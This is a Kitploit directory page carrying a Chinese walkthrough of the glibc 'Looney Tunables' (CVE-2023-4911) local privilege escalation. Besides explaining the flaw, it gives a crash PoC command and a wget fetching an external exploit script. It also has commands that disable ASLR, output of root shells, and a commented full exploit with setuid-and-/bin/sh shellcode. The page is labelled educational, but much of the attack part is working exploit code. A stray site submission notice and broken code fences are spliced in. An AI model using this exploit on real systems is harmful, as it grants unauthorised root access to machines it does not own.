Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-4911 — Looney Tunables本地权限提升(CVE-2023-4911)工作坊 | Kitploit
工具/GitHubGitHub/kernelkrise/cve-2023-4911
权限提升漏洞分析漏洞利用学习与教育二进制利用实验室与实践Archived
GitHubkernelkrise/cve-2023-4911

CVE-2023-4911

Looney Tunables本地权限提升(CVE-2023-4911)工作坊

查看仓库
18311年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-4911-Looney-Tunables

Looney Tunables 本地权限提升 (CVE-2023-4911) 演练(仅供教育用途)

Links:

  • IPPSEC 视频
  • Qualsys 博客文章
  • Qualsys 技术细节
  • 漏洞利用 POC Python 脚本
  • GLIBC 源码
  • GLIBC tunables 文档

描述

什么是 ld.so?

在计算机领域,动态链接器是操作系统的一部分,它在可执行文件执行时加载和链接所需的共享库,通过将库的内容从持久存储复制到 RAM,填充跳转表并重定位指针。

例如,我们有一个程序使用 openssl 库来计算 md5 哈希:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>

root@kitploit:~
ld.so 解析二进制文件并尝试查找与 `<openssl/md5.h>` 相关的库```
$ ldd md5_hash                       
        linux-vdso.so.1 (0x00007fffa530b000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)

正如我们所见,它会在 /lib/x86_64-linux-gnu/libcrypto.so.3 找到必要的加密库。
在程序启动期间,它会将这个库的代码加载到进程内存中,并将所有对该库的引用链接起来。

总结

当程序启动时,加载器首先检查程序以确定其所需的共享库。然后它会搜索这些库,将其加载到内存中,并在运行时与可执行文件进行链接。在此过程中,动态加载器解析符号引用(如函数和变量引用),确保程序执行所需的一切就绪。鉴于其作用,动态加载器在安全性方面非常敏感,因为当本地用户启动设置了用户ID或组ID的程序时,其代码会以提升的权限运行。

什么是 GLIBC Tunables?

Tunables 是 GNU C 库中的一个特性,允许应用程序作者和发行版维护者更改运行时库的行为以匹配其工作负载。它们实现为一组可以通过不同方式修改的开关。当前默认的方法是通过 GLIBC_TUNABLES 环境变量,将其设置为冒号分隔的 name=value 对字符串。例如,以下示例启用了 malloc 检查,并将 malloc 截断阈值设置为 128 字节:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES

root@kitploit:~
传递 --list-tunables 给动态加载器以打印所有可调参数及其最小值和最大值:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)

漏洞描述

在其执行的起始阶段,ld.so 调用 __tunables_init() 来遍历环境变量(第 279 行),搜索 GLIBC_TUNABLES 变量(第 282 行);对于找到的每个 GLIBC_TUNABLES,它复制该变量(第 284 行),调用 parse_tunables() 处理并清理该副本(第 286 行),最后将原始的 GLIBC_TUNABLES 替换为该清理后的副本(第 288 行):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }

root@kitploit:~
parse_tunables() 的第一个参数(tunestr)指向即将被清理的 GLIBC_TUNABLES 副本,而第二个参数(valstring)指向原始的 GLIBC_TUNABLES 环境变量(位于栈中)。为了清理 GLIBC_TUNABLES 的副本(其格式应为 "tunable1=`aaa:tunable2=bbb"`),parse_tunables() 会从 tunestr 中移除所有危险的 tunable(即 SXID_ERASE 类型的 tunable),但保留 SXID_IGNORE 和 NONE 类型的 tunable(位于第 221-235 行):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

不幸的是,如果 GLIBC_TUNABLES 环境变量格式为 "tunable1=tunable2=AAA"(其中 "tunable1" 和 "tunable2" 是 SXID_IGNORE 可调选项,例如 "glibc.malloc.mxfast"),那么:

  • 在 parse_tunables() 的第一次 while (true) 循环中, 整个 "tunable1=tunable2=AAA" 会被原地复制到 tunestr 中(第 221-235 行),从而填满 tunestr;

  • 在第 247-248 行,p 并未递增(p[len] 为 '\0',因为第 203-204 行未找到 ':'),因此 p 仍然指向 "tunable1" 的值,即 "tunable2=AAA";

  • 在 parse_tunables() 的第二次 while (true) 循环中,"tunable2=AAA" 被附加(如同第二个可调选项)到已满的 上,从而导致 溢出。

PoC

命令:```bash $ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Segmentation fault (core dumped)

root@kitploit:~
有效载荷:```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001

漏洞利用

这个漏洞是一个直接的缓冲区溢出,但我们应该覆盖什么来实现任意代码执行?我们溢出的缓冲区是在第284行由 tunables_strdup() 分配的,这是 strdup() 的一个重新实现,使用了 ld.so 的 __minimal_malloc() 而不是 glibc 的 malloc()(实际上,glibc 的 malloc() 尚未初始化)。这个 __minimal_malloc() 实现只是调用 mmap() 从内核获取更多内存。

让我们看看这段代码:```C 56 struct link_map * 57 _dl_new_object (char *realname, const char *libname, int type, 58 struct link_map *loader, int mode, Lmid_t nsid) 59 { .. 84 struct link_map *new; 85 struct libname_list *newname; .. 92 new = (struct link_map *) calloc (sizeof (*new) + audit_space 93 + sizeof (struct link_map *) 94 + sizeof (*newname) + libname_len, 1); 95 if (new == NULL) 96 return NULL; 97 98 new->l_real = new; 99 new->l_symbolic_searchlist.r_list = (struct link_map **) ((char *) (new + 1) 100 + audit_space); 101 102 new->l_libname = newname 103 = (struct libname_list *) (new->l_symbolic_searchlist.r_list + 1); 104 newname->name = (char ) memcpy (newname + 1, libname, libname_len); 105 / newname->next = NULL; We use calloc therefore not necessary. */

root@kitploit:~
##### 覆盖即将分配的 link_map 结构体的指针
>ld.so 使用 calloc() 为该 link_map 结构体分配内存,因此没有显式地将其各种成员初始化为零;这是一种合理的优化。如前所述,这里的 calloc() 并非 glibc 的 calloc(),而是 ld.so 的 `__minimal_calloc()`,它会调用 `__minimal_malloc()` *而不* 显式地将返回的内存初始化为零;这也是一种合理的优化,因为实际上 `__minimal_malloc()` 总是返回一块干净的 mmap() 内存,而内核保证该内存会被初始化为零。
>
> 不幸的是,parse_tunables() 中的缓冲区溢出使我们能够用非零字节覆盖干净的 mmap() 内存,从而用非 NULL 值覆盖即将分配的 link_map 结构体的指针。这让我们能够完全打破 ld.so 的逻辑,因为 ld.so 假定这些指针为 NULL。

#### 溢出思路
> 我们意识到,link_map 结构体中许多指针并未显式初始化为 NULL;尤其是 l_info[] 指针数组中指向 Elf64_Dyn 结构体的指针。其中,`l_info[DT_RPATH]`("库搜索路径")立即引起了我们的注意:如果我们覆盖该指针并控制其指向的位置及内容,那么我们就可以强制 ld.so 信任一个我们拥有的目录,从而从该目录加载我们自己的 libc.so.6 或 LD_PRELOAD 库,并执行任意代码(如果我们通过 SUID-root 程序运行 ld.so,则具有 root 权限)。

> 被覆盖的 `l_info[DT_RPATH]` 应指向何处?这个问题的简单答案是:栈;更准确地说,是指向栈中我们的环境字符串。在 Linux 上,栈在一个 16GB 的区域内随机化,我们的环境字符串最多可占用 6MB(_STK_LIM / 4 * 3,位于内核的 bprm_stack_limits() 中):经过 16GB / 6MB = 2730 次尝试,我们就有很大机会猜中环境字符串的地址(在我们的漏洞利用中,我们总是将 `l_info[DT_RPATH]` 覆盖为 0x7ffdfffff010,即随机化栈区域的中心)。在我们的测试中,这种暴力破解在 Debian 上大约需要 30 秒,在 Ubuntu 和 Fedora 上大约需要 5 分钟(原因在于它们的自动崩溃处理程序 Apport 和 ABRT;我们尚未尝试绕过这种速度下降)。

> 被覆盖的 l_info[DT_RPATH] 应指向什么内容?
> 在我们的漏洞利用中,我们简单地将 6MB 的环境字符串填充为 0xfffffffffffffff8 (-8),因为在大多数 SUID-root 程序的字符串表偏移 -8B 处,会出现字符串 "\x08":这会强制 ld.so 信任当前工作目录中名为 "\x08" 的相对目录,从而允许我们以 root 权限从该目录加载并执行自己的 libc.so.6 或 LD_PRELOAD 库。

方案:
<img src="https://assets.kitploit.com/production/public/readmes/37285/2a2a7aefd5313512ebb1ce9163f9c08efeb0c28f90742be80186ba3e3d72db5b.png" width="1000" />
#### .DYNSTR 中偏移 -8 处的 "\x08" 字节:
!["\x08" byte in xxd](https://assets.kitploit.com/production/public/readmes/37285/f7e47c7603cfe523799c8ebc0bf1265caaeb0dcf3924bf92cea7f204127490bf.png)

## PoC 本地提权:
我正在使用旧的 Kali Linux 快照来测试 PoC。让我们检查它是否易受攻击:```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1]    7995 segmentation fault  env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"  /usr/bin/s

我们得到了SIGSEGV,所以我们的系统对这个CVE LPE存在漏洞!

让我们下载PoC脚本并测试它:``` [~/cve]$ wget -q https://haxx.in/files/gnu-acme.py

[~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3

root@kitploit:~
因此,我们的 ld.so 构建 ID 不在目标列表中,让我们修复它!
禁用 ASLR:```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

再次检查:``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] ASLR is not enabled, attempting to find usable offsets [i] using stack addr 0x7fffffffe10c found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568

root@kitploit:~
那么,我们的POC脚本找到了一些有用的偏移量,让我们将ld.so的构建ID和偏移量添加到脚本中:
![TARGETS set in code](https://assets.kitploit.com/production/public/readmes/37285/3a1ab26b738c731b061b05bd2515afa9cc41b4d23158f37daa27a05d8a86f4ad.png)
返回ASLR:```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"

让我们再次尝试PoC脚本:``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c .........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

whoami root

id

uid=0(root)

root@kitploit:~
它有效!

它也能与其他SUID文件一起工作:```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>

A: 恭喜!您的工具提交已被接受。为了最大化可见性,我们建议您与朋友、同事和相关网络安全论坛分享链接。您也可以将工具提交到其他目录以进一步增加曝光度。


``` [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/mount, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe10101009 ....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

id uid=0(root)

root@kitploit:~
### 那么,让我们看看 PoC 脚本:
在 PoC 脚本的开头,我们有一个字典 ARCH,其中包含一些**处理器架构**(我只保留了 x86_64,因为我使用的是它)。
在这个字典中,我们有
* "shellcode": 用于以 root 权限生成 ""/bin/sh""
* "exitcode": 它也是 shellcode,但执行 exit(0x66)
* "stack_top": 这是 x86_64 上栈的最大可能地址
* "stack_aslr_bits": 是 x86_64 上的熵位数(由 ASLR 改变的位数)```python
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py

import binascii
# <SNIP>
from shutil import which

unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))

ARCH = {
    "x86_64": {
        "shellcode": unhex(
            "31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
        ),  # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
        "exitcode": unhex("6a665f6a3c580f05"),  # asm(shellcraft.exit(0x66)).hex()
        "stack_top": 0x800000000000,
        "stack_aslr_bits": 30,  # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
    }
}

Shellcode 反汇编```nasm 0: 31 ff xor edi, edi 2: 6a 69 push 0x69 4: 58 pop rax 5: 0f 05 syscall

7: 31 ff xor edi, edi 9: 6a 6a push 0x6a b: 58 pop rax c: 0f 05 syscall

e: 6a 68 push 0x68 10: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f 1a: 50 push rax 1b: 48 89 e7 mov rdi, rsp 1e: 68 72 69 01 01 push 0x1016972 23: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101 2a: 31 f6 xor esi, esi 2c: 56 push rsi 2d: 6a 08 push 0x8 2f: 5e pop rsi 30: 48 01 e6 add rsi, rsp 33: 56 push rsi 34: 48 89 e6 mov rsi, rsp 37: 31 d2 xor edx, edx 39: 6a 3b push 0x3b 3b: 58 pop rax 3c: 0f 05 syscall

root@kitploit:~
Exitcode disassemble```nasm
   0:   6a 66                   push   0x66
   2:   5f                      pop    rdi
   3:   6a 3c                   push   0x3c
   5:   58                      pop    rax
   6:   0f 05                   syscall

接下来我们有一个包含目标(ld.so 构建 ID)及其缓冲区溢出偏移量的字典。```python TARGETS = { "e664396d7c25533074698a0695127259dbbf56f3": 568 }

root@kitploit:~
然后,有许多函数根据其功能命名,并且大部分都可以被pwntools库中的方法替代。因此,我认为没有必要详细讨论它们,除了其中一些函数。```python
# TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
def build_env(adjust, addr, offset, bits=64):  
    # heap meh shui
    if bits == 64:
        env = [  # Actual vulnerability exploit (buffer overflow)
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
        ]

        pad = 172
        fill = 47
    else:
        env = [
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
        ]

        pad = 87
        fill = 47 * 2

    for j in range(pad):  # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    if bits == 64:  # overwrite l_info[DT_RPATH] pointer with pointer to stack
        env.append(struct.pack("<Q", addr))
        env.append(b"")
    else:
        env.append(struct.pack("<L", addr))

    for i in range(384):   # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    for i in range(fill):  # write a lot of "-8" bytes to stack to force DT_RPATH use offset -8 in .DYNSTR
        if bits == 64:
            env.append(
                struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
            )
        else:
            env.append(struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7)

    env.append(None)
    return env


if __name__ == "__main__":
    banner()  # just print bunner

    machine = os.uname().machine  # uname of machine

    if machine not in ARCH.keys():
        error("architecture '%s' not supported" % machine)

    print("[i] libc = %s" % lib_path("c").decode())  # print libc path

    if len(sys.argv) == 1:  # check if user pass SUID binary as args, if no use "su" binary
        suid_path = which("su")
        suid_args = ["--help"]
    else:
        suid_path = sys.argv[1]
        suid_args = sys.argv[2:]

    lsb = ((0x100 - (len(suid_path) + 1 + 8)) & 7) + 8  # Some value

    print(f"[DEBUG] -> LSB: {lsb}")

    print("[i] suid target = %s, suid_args = %s" % (suid_path, suid_args))  # print suid binary path with args

    suid_e = lazy_elf(suid_path)  # generate lazy_elf object with SUID binary

    ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()  # get ld_path from suid binary .interp section

    ld_e = lazy_elf(ld_path)   # generate lazy_elf object with ld.so binary

    print("[i] ld.so = %s" % ld_path)  # print ld.so path

    ld_build_id = binascii.hexlify(  # get ld.so build id from ".note.gnu.build-id" section
        ld_e.section_by_name(".note.gnu.build-id")[-20:]
    ).decode()

    print("[i] ld.so build id = %s" % ld_build_id)  # print ld.so build id

    libc_e = lazy_elf(lib_path("c"))    # generate lazy_elf object with libc.so.6 binary

    __libc_start_main = libc_e.symbol("__libc_start_main")  # find offset of __libc_start_main function in libc

    if __libc_start_main == None:  # if can't find __libc_start_main
        error("could not resolve __libc_start_main")

    print("[i] __libc_start_main = 0x%x" % __libc_start_main)  # print offset of __libc_start_main

    offset = suid_e.shdr_by_name(".dynstr")["offset"]  # Find offset of .dynstr section
    print(f"[DEBUG] -> .DYNSTR offset: {offset}")
    hax_path = find_hax_path(suid_e.d, offset)  # find value and offset in .dynstr to make trusted folder. It will be "\x08" at offset -8 ( [.dynstr - 8] )
    if hax_path is None:  #  error if not find hax
        error("could not find hax path")

    print(  # print hax
        "[i] using hax path %s at offset %d"
        % (
            hax_path["path"],
            hax_path["offset"],
        )
    )

    if not os.path.exists(hax_path["path"]):  # create folder ("\x08" to place libc there later)
        os.mkdir(hax_path["path"])

    argv = build_argv([suid_path] + suid_args)  # just get array of arguments ( ["su", "--help", None] )

    shellcode = (  # get shellcode (to spawn /bin/sh) or get exitcode which returns 0x66 if executed
        ARCH[machine]["shellcode"] if is_aslr_enabled() else ARCH[machine]["exitcode"]
    )

    with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:  # open folder "\x08" and write patched (with shellcode) libc.so.6 there
        fh.write(libc_e.d[0:__libc_start_main])  # all before __libc_start_main
        fh.write(shellcode)  # shellcode
        fh.write(libc_e.d[__libc_start_main + len(shellcode) :])  # all after shellcode
    print("[i] wrote patched libc.so.6")

    if not is_aslr_enabled():  # if ASLR is not enabled
        print("[i] ASLR is not enabled, attempting to find usable offsets")

        stack_addr = ARCH[machine]["stack_top"] - 0x1F00
        stack_addr += lsb

        print("[i] using stack addr 0x%x" % stack_addr)

        for adjust in range(128, 1024):
            env = build_env(adjust, stack_addr, hax_path["offset"], suid_e.bits)
            r = spawn(suid_path.encode(), argv, env)
            if r == 0x66:
                print(
                    "found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
                )

    else:
        if ld_build_id not in TARGETS.keys():  # check if ld.so build id in TARGET list (check if we know ofsset to overflow)
            error("no target info found for build id %s" % ld_build_id)

        stack_addr = ARCH[machine]["stack_top"] - (  # calculate minimum address of stack
            1 << (ARCH[machine]["stack_aslr_bits"] - 1)
        )
        # In [11]: hex(1 << 29)
        # Out[11]: '0x20000000'

        # In [12]: hex(0x800000000000 - 0x20000000)
        # Out[12]: '0x7fffe0000000'

        print(f"[DEBUG] -> STACK ADDR: {hex(stack_addr)}")
        stack_addr += lsb
        # avoid NULL bytes in guessy addr (out of sheer laziness really)
        for i in range(6 if suid_e.bits == 64 else 4):  # some calculations to find usable offset in stack
            if (stack_addr >> (i * 8)) & 0xFF == 0:
                stack_addr |= 0x10 << (i * 8)

        print("[i] using stack addr 0x%x" % stack_addr)

        env = build_env(  # create malicious environment variables (with overflow and stack overwrite)
            TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
        )

        # print(f"[DEBUG] -> ENV: {env}")

        cnt = 1
        while True:
            if cnt % 0x10 == 0:  # print "." every 10 executions
                sys.stdout.write(".")
                sys.stdout.flush()
            if spawn(suid_path.encode(), argv, env) == 0x1337:  # spawn process of SUID with malicious environment variables
                print("goodbye. (took %d tries)" % cnt)
                exit(0)
            cnt += 1


不同架构上的ASLR熵表: ASLR熵位数表

下载工具
tunestr
tunestr